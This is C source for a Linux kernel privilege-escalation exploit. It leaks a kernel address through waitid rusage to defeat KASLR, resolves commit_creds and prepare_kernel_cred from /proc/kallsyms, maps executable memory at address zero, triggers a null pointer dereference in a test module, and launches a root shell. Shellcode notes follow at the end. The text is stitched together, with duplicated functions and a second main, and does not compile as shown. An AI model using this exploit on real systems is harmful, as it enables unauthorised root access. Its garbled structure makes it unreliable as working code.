/* get kernel functions address by reading /proc/kallsyms */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[256];
int ret = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
printf("[-] Failed to open /proc/kallsyms\n");
exit(-1);
}
printf("[+] Find %s...\n", name);
while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
printf("[+] Found %s at %lx\n", name, addr);
return addr;
}
}
fclose(f);
return 0;
}
int main(void)
{
int pid, pid2, pid3;
struct rusage rusage = { };
unsigned long *p, *kernel_base;
char *mmap_min_addr, *dac_mmap_min_addr;
pid = fork();
if (pid > 0) {
/* try to bypass kaslr when /proc/kallsyms isn't readable */
syscall(__NR_waitid, P_PID, pid, NULL, WEXITED|WNOHANG|__WNOTHREAD, &rusage);
printf("[+] Leak size=%d bytes\n", sizeof(rusage));
for (p = (unsigned long *)&rusage;
p < (unsigned long *)((char *)&rusage + sizeof(rusage));
p++) {
printf("[+] Leak point: %p\n", p);
if (*p > 0xffffffff00000000 && *p < 0xffffffffff000000) {
p = (unsigned long *)(*p&0xffffffffff000000 /*+ OFFSET_TO_BASE*/); // spender's wouldn't actually work when KASLR was enabled
break;
}
}
if(p < (unsigned long *)0xffffffff00000000 || p > (unsigned long *)0xffffffffff000000)
exit(-1);
} else if (pid == 0) {
sleep(1);
exit(0);
}
/* a kernel null pointer derefence will help get privilege
* /proc/test is a kernel-load module create for testing
* touch_null_kp can be replace your own implement to
* touch a kernel null ponit
*/
void touch_null_kp() {
printf("[+]Start touch kernel null point\n");
int *f = open("/proc/test", O_RDONLY);
read(f, NULL, 0);
}
/* run shell after root */
void get_shell() {
char *argv[] = {"/bin/sh", NULL};
if (getuid() == 0){
printf("[+] Root shell success !! :)\n");
execve("/bin/sh", argv, NULL);
}
printf("[-] failed to get root shell :(\n");
}
/* use for privilige escalation */
void get_root() {
commit_creds(prepare_kernel_cred(0));
}
/* get function address by reading /proc/kallsyms */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[256];
int ret = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
printf("[-] Failed to open /proc/kallsyms\n");
exit(-1);
}
printf("[+] Find %s...\n", name);
while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
printf("[+] Found %s at %lx\n", name, addr);
return addr;
}
}
fclose(f);
return 0;
}
int main(int ac, char **av)
{
/* get function address */
prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred");
commit_creds = (commit_creds_t)get_kernel_sym("commit_creds");
printf("Got commit_creds:%p,prepare_kernel_cred%p\n", commit_creds, prepare_kernel_cred);
/* allocate memory loacate in 0x00 */
printf("[+] Try to allocat 0x00000000...\n");
if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){
printf("[-] Failed to allocat 0x00000000\n");
return -1;
}
printf("[+] Allocation success !\n");
/* memset(0, 0xcc, 4096); */
/*
//movq rax, 0xffffffff81f3f45a
//movq [rax], 0
// it is not nessecc
mov rax, 0x4242424242424242
call rax
xor rax, rax
ret
replace 0x4242424242424242 by get_root
https://defuse.ca/online-x86-assembler.htm#disassembly
*/